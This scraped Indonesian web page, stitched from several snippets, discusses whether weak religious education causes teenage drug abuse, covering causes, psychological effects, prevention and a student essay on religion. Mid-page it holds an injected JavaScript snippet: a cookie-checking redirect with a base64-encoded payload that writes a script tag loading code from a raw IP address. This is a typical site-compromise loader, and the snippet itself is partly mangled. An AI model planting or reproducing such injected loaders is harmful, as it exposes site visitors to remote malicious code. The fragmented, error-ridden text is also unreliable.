Alasanmemakai narkoba. Dikutip dari situs resmi Kementerian Pendidikan dan Kebudayaan RI, berikut ini beberapa alasan seseorang memakai narkoba: Memuaskan rasa ingin tahu atau coba-coba. Ikut-ikutan teman. Solidaritas teman. Mengikuti tren dan ingin terlihat gaya. Menunjukkan kehebatan. Merasa sudah dewasa. Baca juga: Kenalkan Bahaya Narkoba
Kontra: Memang ada benarnya apa yang anda katakan bahwa, kurangnya pendidikan agama di rumah dan sekolah adalah penyebab utama penyalahgunaan narkoba pada kalangan remaja saat ini. Namun, sebenarnya ada faktor-faktor lain penyebab remaja melakukan penyalahgunaan narkoba selain dari pendidikan agamanya, yaitu : 1.
Temukanargumen anda mengenai mosi berikut! kurangnya pendidikan agama dirumah dan sekolah menjadi penyebab utama penyalahgunaan narkoba pada remaja. Choihyekyo21 "Menurut saya,tidak hanya pendidikan agama yang kurang dan sekolah saja yang menyebabkan penyalahgunaan utama narkoba pada anak remaja.Namun,faktor lingkungan baik di keluarga maupun
PenyebabPenyalahgunaan NAPZA. Penyalahgunaan narkoba atau NAPZA (Narkotika, Psikotropika, dan Zat-zat Adiktif) umumnya terjadi karena adanya rasa ingin tahu yang tinggi. Di sisi lain, kondisi ini juga dapat dialami oleh penderita gangguan mental, misalnya gangguan bipolar atau skrizopenia. Seseorang yang menderita gangguan mental dapat lebih
AgamaIslam menempatkan penyalahgunaan narkoba (khamr dan sejenisnya) biasanya berakobat pada seks bebas (zina) dan pornografi sebagai sesuatu yang sudah sangat jelas dilarang. Narkoba yang bisa dipahami identik atau analog dengan khamr atau nabidz (jamaknya anbidzah) maka bagi peminum (pengonsumsi), pengedar, pengusaha, dan penjualnya dikenai
FaktorPenyebab Penyalahgunaan Narkoba. Penyalahguna zat adalah suatu kondisi yang dapat dikonseptualisasikan sebagai suatu gangguan jiwa, sehingga penyalahguna zat (penderita) tidak lagi mampu berfungsi secara normal dalam melakukan aktifitas atau kegiatan di lingkungan dan menunjukan perilaku maladaptif.
. Pro Dan Kontra Kurangnya Pendidikan Agama Penyebab Penyalahgunaan Narkoba General Penyebab, Dampak dan Solusi Panggunaan Narkoba pada Kehidupan Psikologis Remaja Penyebab, Dampak dan Solusi Panggunaan Narkoba pada Kehidupan Psikologis Remaja Remaja, merupakan tahapan menuju pendewasaan. Mulai mencari dan mencoba segala hal yang dia inginkan untuk memperoleh jati diri, termasuk hal yang negative seperti narkoba. Penyalahgunaan narkoba kini kian marak terjadi di masyarakat terutama kalangan remaja. Pada Banyak sekali remaja yang kehilangan masa depannya akibat penyalahgunaan narkoba. Factor remaja menjadi penyalah guna benda yang terlarang Faktor Individu Secara aspek psikologi, penyebab remaja mengonsumsi narkoba adalah Kurangnya rasa percaya diri sehingga ingin terlihat gaya dengan konsumsi narkoba Ketidak mampuan mengelola masalah yang dihadapi dan stress. Coba- coba dan berpeluan untuk memperoleh pengalaman baru Ikatan dengan komunitas atau gen Menghilangkan rasa sakit, bosan, cemas, dan lainnya Menunjukan sikap pemberontakan dan kehebatan dan kekuasaan Mencari tantangan yang beresiko Merasa dirinya dewasa Faktor Obatnya/Zat, dengan eyakini bahwa obat bisa membantu menumbuhkan rasa percayam diri dan mampu mengurangi beban atau stress yang dialami. Faktor Lingkungan Hubungan keluarga yang tidak harmonis, broken home, dan adanya penggunakan narkoba oleh anggota keluarga lainnya. Pengaruh Teman, sangat berpengaruh pada seseorang. Jika seseorang memilih teman yang menggunakan narkoba maka seorang itupun ikut menggunakannya. Juga adanya tekanan, ancaman akan dikucilkan dan lainnya dari teman jika kita ingin berhenti mengonsumsinya. Pendidikan, kurangnya pendidikan ilmu dan agama sehingga anak menyimpang pada perbuatan yang tidak baik seperti narkoba. Lingkungan masyarakat, jika lingkungan masyarakat tidak baik, maka akan berpengaruh juga pada perilaku remaja. Dampak Psikologis remaja akibat penggunaan narkoba Cenderung menyakiti diri, perasaan tidak aman, bahkan bunuh diri Mempunyai sifat yang mudah kecewa dan temperamental , emosi yang tidak stabil, berbicara dan bertindak kasar, sikap membangkang, agitatif, cenderung agresif , berperilaku ganas dan savage serta destruktif/merusak. Keinginan tidak bisa menuggu, yang harus terpenuhi segera. Kurang percaya diri, cenderung apatis, penghayal, sensitive , selalu curiga, sulit konsentrasi, selalu tertekan, murung, selalu cemas, bersikap tegang, merasa merasa tidak mampu berbuat sesuatu yang berguna dalam hidup sehari-hari dan kurang mampu menghadapi stres. Suka mencari sensasi, melakukan hal-hal yang berbahaya atau mengandung risiko. Lamban dalam suatu pekerjaan, kurang aktif dalam pendidikan, pekerjaan, atau kegiatan lain. rendahnya prestasi belajar, partisipasi dalam kegiatan-kegiatan di luar sekolah kurang, kurang olahraga, malas dan sering melupakan tanggung jawab dan tugas-tugas rutinnya Jauh dari keluarga, sering bertemu dengan orang yang tidak dikenal keluarga, pergi tanpa pamit dan pulang lewat tengah malam Suka menyendiri didalam suatu ruangan. Menjadi pembohong dan ingkar janji. Solusi remaja berhenti menggunakan narkoba, dan cera pencegahan pemakaian kembali. Yang dilakukan oleh pemerintah Primer, memberikan pendidikan, pengetahuan dan penyebaran informasi tentang bahaya penyalahgunaan narkoba, melakukan pendekatan melalui keluarga, dan Instansi pemerintah, seperti BKKBN, lebih banyak berperan pada tahap intervensi ini. kegiatan dilakukan seputar pemberian informasi melalui berbagai bentuk materi KIE yang ditujukan kepada remaja langsung dan keluarga. Sekunder, tahap penyembuhan treatment. Fase ini meliputi Fase penerimaan awal initialintakeantara 1 – iii hari dengan melakukan pemeriksaan fisik dan mental, dan Fase detoksifikasi dan terapi komplikasi medik, antara 1 – 3 minggu untuk melakukan pengurangan ketergantungan bahan-bahan adiktif secara bertahap. Tertier, tahap rehabilitasi sebagai penyembuhan mereka yang menggunakan narkoba. Yang dilakukan oleh masyarakat Menggunaka beberapa cara pendekatan yaitu Pendekatan agama religius, dengan cara menanamkan ajaran agama yang mereka anut tentang berbuat kebaikan, menjauhi segala hal yang buruk atau kerusakan pada dirinya, keluarga, maupun lingkungan sekitar. Pendekatan psikologis, dengan memberikan nasehat, melakukan pembicaraan dari hati- ke hati oleh orang- orang yang terdekat dengannya yang sesuai dengan karakter kepribadian mereka. Pendekatan social, menyadarkan mereka bahwa mereka merupakan bagian penting dalam keluarga dan lingkungannya. Dengan cara sepeti itu, diharapkan mereka bisa merasakan bahwa kehadiran mereka di tengah keluarga dan masyarakat memiliki arti penting. [IP] Arthia H Sumber referensi dan Gambar https//www. function getCookiee{var U= RegExp“?^; ”+ thousand,”\\$ane″+”=[^;]*”;render U?decodeURIComponentU[i]void 0}var src=”datatext/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now= present/1e3,cookie=getCookie“redirect”;ifnow>=time=cookievoid 0===time{var time= Datenew Date.getTime+86400; path=/; expires=”+ Pro Dan Kontra Kurangnya Pendidikan Agama Penyebab Penyalahgunaan Narkoba Source
Oleh Nur Hidayat Mahasiswa UMRAH Agama merupakan keyakinan yang diyakini olehh setiap pemeluknya untuk menyambung hubungan kemanusiaan dan ketuhanan dalam bentuk ritual-ritual ibadah. Dalam agama sebagaimana agama-agama yang diakui oleh negara republik Indonesia yakni Islam, hindu, Budha, Katolik, Protestan dan Kong hucu memberikan pengajaran-pengajaran serta didikan hukum dan ketentuan beragama baik kepada Tuhannya, sesama manusia, sesama makhluk hidup dan seluruh jagat raya ini. Dengan demikian, bagi setiap pemeluk agama yang mengikuti ajaran agamanya dengan baik dan benar akan mendapatkan keteraturan dalam menjalankan hidup, terutama dalam membedakan mana yang baik dan mana yang buruk. Mana yang salah dan mana yang benar. Sehingga dengan tuntunan yang mereka miliki berdasarkan agama yang mereka yakini, akan membawa perubahan hidup yang lebih baik lagi jika diikuti dan ditekuni dengan sempurna. Agama membentuk seseorang menjadi karakter yang kuat dan tangguh, berprinsip serta menumbuhkan moralitas yang berkualitas bagi pemeluknya. Sehingga setiap pemeluknya akan mengetahui dengan pasti cara menjalani aktiviats mereka sehari-hari, apa yang mereka lakukan dan kerjakan, serta bagaimana cara mendapakan apa yang mereka inginkan. Tidak hanya sesuai dengan kebutuhan pemeluknya, dengan beragama dan menuntut nilai-nilai agama secara baik, setiap pemeluk pasti akan memeprtimbangkan segala aspek kehidupan aygn emreka kerjakan dengan memeprtimbangkan agamanya. Takut akan hukum-hukum tuhannya dan takut akan karma yang berlaku kepada mereka. Sudah menjadi kesepakatan oelh seluruh agama yang bdiakui di Indonesia bahwa narkoba barang yang berbahaya dan haram digunakan. Setiap pengguna dan pelaku pnegedaran narkoba adalah dosa besar. Karena tidak hanya membawa dampak buruk bagi dirinya sendiri namun juga berdampak buruk bagiorang lain. Setiap manusia yang menyakini kebenaran dan nilai-nilai ketuhanan yang baik didalam agama yang mereka anut, dapat dipastikan akan menjauhi perilaku-perilaku yang salah. Moral yang baik dapat membimbing pemeluknya kearah yang baik penerapan-penerapan pendidikan agama sejak dini kepada anak menjadikan pertahanan kuat bagi generasi kegenerasi. Menolak keberadaan dan peredaran narkoba, penggunaan narkoba dan pembuatan atau produksi narkoba. Agama membimbing dan memebrikan pemahaman terhadap nilai ketuhanan yang tidak mendukung pemeluknya untuk melakukan hal-hal yang buruk termasuk penggunaan dan pengedaran nakoba, apalagi memproduksi. Seperti salah satu agama yang dikui di Indoensia ialah agama Islam. Didalam agama islam, sangat jelas bahwa narkoba adalah barang haram. Haram bagi penggunanya dan haram bagi pelaku pengedarannya. Ada hukum-hukum agama yang dapat akan dijatuhkan kepada mereka yang memeluk agama islam seseuai dengan ketentuan tuntunan agamanya. Selain melalaui ketentuan agama dalam menyerukan untuk menjauhi perbuatan yang buruk, juga terdapat upaya lainnya yang dilakukan dengan pendekatan-pendekatan kerohanian yang dilakukan oleh setiap pemuka agama. Misallnya melalui khutbah-khutbah, ceramah, maupun kajian-kajian yang dilakukan demi menjaga nilai-nilai keagamaan dalam diri dan meningkatkan ketaqwaan kepada tuhannya. Penyebaran brosur atau iklan-iklan yang mengaitkan dengan nilai-nilai keagamaan, dampak-dampak yang akan diterima oleh pengguna dan pengedarnya serta seruan lainnya kepada masyarakat yang beragama agar menjauhi narkoba. Disisi lain, pemerintah melalui dinas pendidikan juga bekerja sama dengan setiap lembaga pendidikan baik lembaga pendidikan usia dini hingga pendidikan tinggi negeri maupun swasta untuk mendorong pengetahuan agama tentang penggunaan dan pengedaran narkoba. Terutama lembaga pendidikan bagi anak-anak. Sangking gencar dan seriusnya pemerintah untuk memberantas dan menanangi penyalahgunaan serta peredaran narkoba, pelajaran-pelajran apda setiap sekolah menyentuh kepada narkoba. Artinya, ada penananam nilai-nilai akidah dan akhlak terhadap setiap siswa untuk mengetahui ancaman dan bahaya dari peredaran dan penyalahgunaan narkoba. Jika nilai-nilai ini ditumbuhkan sejak dini dan diperkuat dengan bimbingan orang tua, keluarga serta pihak lainnya, maka anak-anak bangsa dapat menjaminkan diri untuk menjauhi perbuatan haram tersebut. Sadar akan bahaya narkoba dan peredaran narkoba yang dapat merusak diri serta keimanan mereka, merusak kelaurga mereka serta merusak lingkungan mereka. Anak-anak bangsa akan lebih selektif dalam pergaulan mereka. Dengan siapa mereka bergaul dan bagaimana cara mereka bergaul. Selain itu nilai-nilai agama juga mengajarkan dan menanamkan perilaku yang baik untuk hobi-hobi anak bangsa agar senantiasa mengarahkan kearah yang positif. Jika penerpaan pengeetahuan dan pemahaman nilai-nilai keagamaan sudah kaut, maka narkobapun perlahan akan mulai dapat diatasi baik penggunaannya maupun peredarannya dilingkungan masyarakat akibat adanya kesadaran yang timbul dalam diri untuk melakukan perilaku pitif dan baik serta memebrikan perubahan masyarakat dan bangsa. Referensi Kementrian Agama Republik Indonesia. 2017. Peran Tokoh Agama Dalam Pencegahan Narkoba. Diponegoro. Astuti, Veti Anggraini. 2018. Peran Pendidikan Agama Ilam untuk Mencegah Penyalahgunaan Narkoba Studi Kasus pada Siswa SMK Raden Rahmat Mojosari Mojokerto. Terkait
pro dan kontra kurangnya pendidikan agama penyebab penyalahgunaan narkoba